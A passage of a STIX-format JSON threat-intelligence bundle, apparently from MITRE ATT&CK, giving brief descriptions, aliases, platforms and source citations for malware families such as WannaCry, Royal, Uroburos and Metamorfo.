"https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf"}, {"source_name": "PaloAlto 3102 Sept 2015", "description": "Falcone, R. & Miller-Osborn, J. (2015, September 23). Chinese Actors Use \u20183102\u2019 Malware in Attacks on US Government and EU Media. Retrieved March 19, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/"}, {"source_name": "ProofPoint GoT 9002 Aug 2017", "description": "Huss, D. & Mesa, M. (2017, August 25). Operation RAT Cook: Chinese APT actors use fake Game of Thrones leaks as lures. Retrieved March 19, 2018.", "url": "https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures"}, {"source_name": "FireEye Sunshop Campaign May 2013", "description": "Moran, N. (2013, May 20). Ready for Summer: The Sunshop Campaign. Retrieved March 19, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html"}, {"source_name": "FireEye DeputyDog 9002 November 2013", "description": "Moran, N. et al.. (2013, November 10). Operation Ephemeral Hydra: IE Zero-Day Linked to DeputyDog Uses Diskless Method. Retrieved March 19, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html"}, {"source_name": "Novetta-Axiom", "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", "url": "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}, {"source_name": "Symantec Elderwood Sept 2012", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf"}, {"source_name": "MicroFocus 9002 Aug 2016", "description": "Petrovsky, O. (2016, August 30). \u201c9002 RAT\u201d -- a second building on the left. Retrieved February 20, 2018.", "url": "https://community.softwaregrp.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WosBVKjwZPZ"}, {"source_name": "Symantec Trojan.Hydraq Jan 2010", "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-22T05:29:42.303Z", "name": "SHARPSTATS", "description": "[SHARPSTATS](https://attack.mitre.org/software/S0450) is a .NET backdoor used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2019.(Citation: TrendMicro POWERSTATS V3 June 2019)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_aliases": ["SHARPSTATS"], "type": "malware", "id": "malware--73c4711b-407a-449d-b269-e3b1531fe7a9", "created": "2020-05-18T19:51:37.488Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0450", "external_id": "S0450"}, {"source_name": "TrendMicro POWERSTATS V3 June 2019", "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["Ferocious"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--73d08401-005f-4e1f-90b9-8f45d120879f", "type": "malware", "created": "2022-02-01T19:19:26.408Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0679", "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0679"}, {"source_name": "Kaspersky WIRTE November 2021", "url": "https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044", "description": "Yamout, M. (2021, November 29). WIRTE\u2019s campaign in the Middle East \u2018living off the land\u2019 since at least 2019. Retrieved February 1, 2022."}], "modified": "2022-02-01T21:21:35.768Z", "name": "Ferocious", "description": "[Ferocious](https://attack.mitre.org/software/S0679) is a first stage implant composed of VBS and PowerShell scripts that has been used by [WIRTE](https://attack.mitre.org/groups/G0090) since at least 2021.(Citation: Kaspersky WIRTE November 2021)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T02:18:12.743Z", "name": "HOMEFRY", "description": "[HOMEFRY](https://attack.mitre.org/software/S0232) is a 64-bit Windows password dumper/cracker that has previously been used in conjunction with other [Leviathan](https://attack.mitre.org/groups/G0065) backdoors. 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Retrieved April 11, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows", "Office 365"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["CreepyDrive"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "malware", "id": "malware--750eb92a-7fdf-451e-9592-1d42357018f1", "created": "2022-07-07T14:30:25.403Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "S1023", "url": "https://attack.mitre.org/software/S1023"}, {"source_name": "Microsoft POLONIUM June 2022", "url": "https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/", "description": "Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[CreepyDrive](https://attack.mitre.org/software/S1023) is a custom implant has been used by [POLONIUM](https://attack.mitre.org/groups/G1005) since at least early 2022 for C2 with and exfiltration to actor-controlled OneDrive accounts.(Citation: Microsoft POLONIUM June 2022)\n\n[POLONIUM](https://attack.mitre.org/groups/G1005) has used a similar implant called CreepyBox that relies on actor-controlled DropBox accounts.(Citation: Microsoft POLONIUM June 2022)", "modified": "2022-08-10T13:07:11.790Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "CreepyDrive", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["Caterpillar WebShell"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", "type": "malware", "created": "2021-02-10T18:20:51.309Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0572", "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0572"}, {"source_name": "Caterpillar WebShell", "description": "(Citation: ClearSky Lebanese Cedar Jan 2021)(Citation: CheckPoint Volatile Cedar March 2015)"}, {"source_name": "ClearSky Lebanese Cedar Jan 2021", "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}, {"source_name": "CheckPoint Volatile Cedar March 2015", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. 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(2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T02:35:48.740Z", "name": "Elise", "description": "[Elise](https://attack.mitre.org/software/S0081) is a custom backdoor Trojan that appears to be used exclusively by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It is part of a larger group of\ntools referred to as LStudio, ST Group, and APT0LSTU. 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DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018.", "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf"}, {"source_name": "Lotus Blossom Jun 2015", "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. 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[USBferry](https://attack.mitre.org/software/S0452) shares an overlapping codebase with [YAHOYAH](https://attack.mitre.org/software/S0388), though it has several features which makes it a distinct piece of malware.(Citation: TrendMicro Tropic Trooper May 2020)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-08T22:20:20.868Z", "name": "WannaCry", "description": "[WannaCry](https://attack.mitre.org/software/S0366) is ransomware that was first seen in a global attack during May 2017, which affected more than 150 countries. It contains worm-like features to spread itself across a computer network using the SMBv1 exploit EternalBlue.(Citation: LogRhythm WannaCry)(Citation: US-CERT WannaCry 2017)(Citation: Washington Post WannaCry 2017)(Citation: FireEye WannaCry 2017)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack", "ics-attack"], "x_mitre_version": "1.1", "x_mitre_contributors": ["Jan Miller, CrowdStrike"], "x_mitre_aliases": ["WannaCry", "WanaCry", "WanaCrypt", "WanaCrypt0r", "WCry"], "type": "malware", "id": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", "created": "2019-03-25T17:30:17.004Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0366", "external_id": "S0366"}, {"source_name": "WanaCrypt0r", "description": "(Citation: LogRhythm WannaCry)"}, {"source_name": "WCry", "description": "(Citation: LogRhythm WannaCry)(Citation: SecureWorks WannaCry Analysis)"}, {"source_name": "WanaCry", "description": "(Citation: SecureWorks WannaCry Analysis)"}, {"source_name": "WanaCrypt", "description": "(Citation: SecureWorks WannaCry Analysis)"}, {"source_name": "FireEye WannaCry 2017", "description": "Berry, A., Homan, J., and Eitzman, R. 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Retrieved March 25, 2019.", "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/"}, {"source_name": "US-CERT WannaCry 2017", "description": "US-CERT. (2017, May 12). Alert (TA17-132A): Indicators Associated With WannaCry Ransomware. Retrieved March 25, 2019.", "url": "https://www.us-cert.gov/ncas/alerts/TA17-132A"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T02:28:51.206Z", "name": "Gazer", "description": "[Gazer](https://attack.mitre.org/software/S0168) is a backdoor used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2016. 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Turla Crutch: Keeping the \u201cback door\u201d open. Retrieved December 4, 2020.", "url": "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/"}, {"source_name": "Securelist WhiteBear Aug 2017", "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", "url": "https://securelist.com/introducing-whitebear/81638/"}, {"source_name": "WhiteBear", "description": "The term WhiteBear is used both for the activity group (a subset of G0010) as well as the malware observed. Based on similarities in behavior and C2, WhiteBear is assessed to be the same as S0168. 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(2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020."}, {"source_name": "JPCert TSCookie March 2018", "url": "https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html", "description": "Tomonaga, S. (2018, March 6). Malware \u201cTSCookie\u201d. Retrieved May 6, 2020."}, {"source_name": "JPCert BlackTech Malware September 2019", "url": "https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html", "description": "Tomonaga, S.. (2019, September 18). Malware Used by BlackTech after Network Intrusion. Retrieved May 6, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[TSCookie](https://attack.mitre.org/software/S0436) is a remote access tool (RAT) that has been used by [BlackTech](https://attack.mitre.org/groups/G0098) in campaigns against Japanese targets.(Citation: JPCert TSCookie March 2018)(Citation: JPCert BlackTech Malware September 2019). [TSCookie](https://attack.mitre.org/software/S0436) has been referred to as [PLEAD](https://attack.mitre.org/software/S0435) though more recent reporting indicates a separation between the two.(Citation: JPCert PLEAD Downloader June 2018)(Citation: JPCert BlackTech Malware September 2019)", "modified": "2022-04-15T11:32:25.171Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "TSCookie", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "malware", "id": "malware--7724581b-06ff-4d2b-b77c-80dc8d53070b", "created": "2022-06-09T18:50:58.722Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "S1018", "url": "https://attack.mitre.org/software/S1018"}, {"source_name": "Malwarebytes Saint Bot April 2021", "url": "https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/", "description": "Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."}, {"source_name": "Palo Alto Unit 42 OutSteel SaintBot February 2022 ", "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/", "description": "Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Saint Bot](https://attack.mitre.org/software/S1018) is a .NET downloader that has been used by [Ember Bear](https://attack.mitre.org/groups/G1003) since at least March 2021.(Citation: Malwarebytes Saint Bot April 2021)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", "modified": "2022-06-09T19:56:56.809Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Saint Bot", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["Pay2Key"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83", "type": "malware", "created": "2021-01-04T15:12:14.805Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0556", "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0556"}, {"source_name": "ClearkSky Fox Kitten February 2020", "url": "https://www.clearskysec.com/fox-kitten/", "description": "ClearSky. (2020, February 16). Fox Kitten \u2013 Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020."}, {"source_name": "Check Point Pay2Key November 2020", "url": "https://research.checkpoint.com/2020/ransomware-alert-pay2key/", "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."}], "modified": "2021-04-22T02:48:54.019Z", "name": "Pay2Key", "description": "[Pay2Key](https://attack.mitre.org/software/S0556) is a ransomware written in C++ that has been used by [Fox Kitten](https://attack.mitre.org/groups/G0117) since at least July 2020 including campaigns against Israeli companies. [Pay2Key](https://attack.mitre.org/software/S0556) has been incorporated with a leak site to display stolen sensitive information to further pressure victims into payment.(Citation: ClearkSky Fox Kitten February 2020)(Citation: Check Point Pay2Key November 2020)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-24T21:17:54.342Z", "name": "Chaes", "description": "[Chaes](https://attack.mitre.org/software/S0631) is a multistage information stealer written in several programming languages that collects login credentials, credit card numbers, and other financial information. [Chaes](https://attack.mitre.org/software/S0631) was first observed in 2020, and appears to primarily target victims in Brazil as well as other e-commerce customers in Latin America.(Citation: Cybereason Chaes Nov 2020)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_contributors": ["Daniyal Naeem, BT Security"], "x_mitre_aliases": ["Chaes"], "type": "malware", "id": "malware--77e0ecf7-ca91-4c06-8012-8e728986a87a", "created": "2021-06-30T16:13:40.232Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0631", "external_id": "S0631"}, {"source_name": "Chaes", "description": "(Citation: Cybereason Chaes Nov 2020)"}, {"source_name": "Cybereason Chaes Nov 2020", "description": "Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. 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Retrieved April 10, 2019.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}], "modified": "2020-03-18T23:13:31.404Z", "name": "Sys10", "description": "[Sys10](https://attack.mitre.org/software/S0060) is a backdoor that was used throughout 2013 by [Naikon](https://attack.mitre.org/groups/G0019). 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Retrieved January 22, 2016.", "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}], "modified": "2020-03-30T18:39:05.662Z", "name": "pngdowner", "description": "[pngdowner](https://attack.mitre.org/software/S0067) is malware used by [Putter Panda](https://attack.mitre.org/groups/G0024). It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple \"download-and-\nexecute\" utility. (Citation: CrowdStrike Putter Panda)", "x_mitre_version": "1.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-17T13:11:47.488Z", "name": "Royal", "description": "[Royal](https://attack.mitre.org/software/S1073) is ransomware that first appeared in early 2022;  a version that also targets ESXi servers was later observed in February 2023. [Royal](https://attack.mitre.org/software/S1073) employs partial encryption and multiple threads to evade detection and speed encryption. [Royal](https://attack.mitre.org/software/S1073) has been used in attacks against multiple industries worldwide--including critical infrastructure. Security researchers have identified similarities in the encryption routines and TTPs used in [Royal](https://attack.mitre.org/software/S1073) and [Conti](https://attack.mitre.org/software/S0575) attacks and noted a possible connection between their operators.(Citation: Microsoft Royal ransomware November 2022)(Citation: Cybereason Royal December 2022)(Citation: Kroll Royal Deep Dive February 2023)(Citation: Trend Micro Royal Linux ESXi February 2023)(Citation: CISA Royal AA23-061A March 2023)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_contributors": ["Wataru Takahashi, NEC Corporation", "Pooja Natarajan, NEC Corporation India", "Manikantan Srinivasan, NEC Corporation India"], "x_mitre_aliases": ["Royal"], "type": "malware", "id": "malware--802a874d-7463-4f2a-99e3-6a1f5a919a21", "created": "2023-03-30T20:25:37.761Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1073", "external_id": "S1073"}, {"source_name": "CISA Royal AA23-061A March 2023", "description": "CISA. (2023, March 2). #StopRansomware: Royal Ransomware. Retrieved March 31, 2023.", "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-061a"}, {"source_name": "Cybereason Royal December 2022", "description": "Cybereason Global SOC and Cybereason Security Research Teams. (2022, December 14). Royal Rumble: Analysis of Royal Ransomware. Retrieved March 30, 2023.", "url": "https://www.cybereason.com/blog/royal-ransomware-analysis"}, {"source_name": "Kroll Royal Deep Dive February 2023", "description": "Iacono, L. and Green, S. (2023, February 13). Royal Ransomware Deep Dive. Retrieved March 30, 2023.", "url": "https://www.kroll.com/en/insights/publications/cyber/royal-ransomware-deep-dive"}, {"source_name": "Trend Micro Royal Linux ESXi February 2023", "description": "Morales, N. et al. (2023, February 20). Royal Ransomware Expands Attacks by Targeting Linux ESXi Servers. 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First discovered in August 2020, [BendyBear](https://attack.mitre.org/software/S0574) shares a variety of features with [Waterbear](https://attack.mitre.org/software/S0579), malware previously attributed to the Chinese cyber espionage group [BlackTech](https://attack.mitre.org/groups/G0098).(Citation: Unit42 BendyBear Feb 2021)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_aliases": ["BendyBear"], "type": "malware", "id": "malware--805480f1-6caa-4a67-8ca9-b2b39650d986", "created": "2021-02-16T16:50:29.990Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0574", "external_id": "S0574"}, {"source_name": "BendyBear", "description": "(Citation: Unit42 BendyBear Feb 2021)"}, {"source_name": "Unit42 BendyBear Feb 2021", "description": "Harbison, M. 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[Uroburos](https://attack.mitre.org/software/S0022) has several variants and has undergone nearly constant upgrade since its initial development in 2003 to keep it viable after public disclosures. [Uroburos](https://attack.mitre.org/software/S0022) is typically deployed to external-facing nodes on a targeted network and has the ability to leverage additional tools and TTPs to further exploit an internal network. [Uroburos](https://attack.mitre.org/software/S0022) has interoperable implants for Windows, Linux, and macOS, employs a high level of stealth in communications and architecture, and can easily incorporate new or replacement components.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)(Citation: Kaspersky Turla)", "x_mitre_platforms": ["Linux", "Windows", "macOS"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "2.1", "x_mitre_aliases": ["Uroburos", "Snake"], "type": "malware", "id": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4", "created": "2017-05-31T21:32:19.029Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0022", "external_id": "S0022"}, {"source_name": "Snake", "description": "(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)"}, {"source_name": "Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023", "description": "FBI et al. (2023, May 9). Hunting Russian Intelligence \u201cSnake\u201d Malware. Retrieved June 8, 2023.", "url": "https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}, {"source_name": "Kaspersky Turla", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", "url": "https://securelist.com/the-epic-turla-operation/65545/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T00:44:30.028Z", "name": "Metamorfo", "description": "[Metamorfo](https://attack.mitre.org/software/S0455) is a Latin-American banking trojan operated by a Brazilian cybercrime group that has been active since at least April 2018. The group focuses on targeting banks and cryptocurrency services in Brazil and Mexico.(Citation: Medium Metamorfo Apr 2020)(Citation: ESET Casbaneiro Oct 2019) ", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "2.1", "x_mitre_contributors": ["Jose Luis S\u00e1nchez Martinez", "Chen Erlich, @chen_erlich, enSilo"], "x_mitre_aliases": ["Metamorfo", "Casbaneiro"], "type": "malware", "id": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", "created": "2020-05-26T17:34:19.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0455", "external_id": "S0455"}, {"source_name": "Casbaneiro", "description": "(Citation: ESET Casbaneiro Oct 2019)"}, {"source_name": "Metamorfo", "description": "(Citation: Medium Metamorfo Apr 2020)(Citation: ESET Casbaneiro Oct 2019) "}, {"source_name": "Medium Metamorfo Apr 2020", "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020.", "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767"}, {"source_name": "ESET Casbaneiro Oct 2019", "description": "ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021.", "url": "https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["Trojan.Karagany", "xFrost", "Karagany"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "malware", "id": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", "created": "2017-05-31T21:33:00.176Z", "x_mitre_version": "3.0", "external_references": [{"source_name": "mitre-attack", "external_id": "S0094", "url": "https://attack.mitre.org/software/S0094"}, {"source_name": "xFrost", "description": "(Citation: Secureworks Karagany July 2019)"}, {"source_name": "Karagany", "description": "(Citation: Secureworks Karagany July 2019)"}, {"source_name": "Dragos DYMALLOY ", "url": "https://www.dragos.com/threat/dymalloy/", "description": "Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020."}, {"source_name": "Secureworks Karagany July 2019", "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector", "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}, {"source_name": "Symantec Dragonfly", "url": "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", "description": "Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) is a modular remote access tool used for recon and linked to [Dragonfly](https://attack.mitre.org/groups/G0035). The source code for [Trojan.Karagany](https://attack.mitre.org/software/S0094) originated from Dream Loader malware which was leaked in 2010 and sold on underground forums. (Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)(Citation: Dragos DYMALLOY )", "modified": "2022-04-19T14:57:44.862Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Trojan.Karagany", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["Bandook"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--835a79f1-842d-472d-b8f4-d54b545c341b", "type": "malware", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": 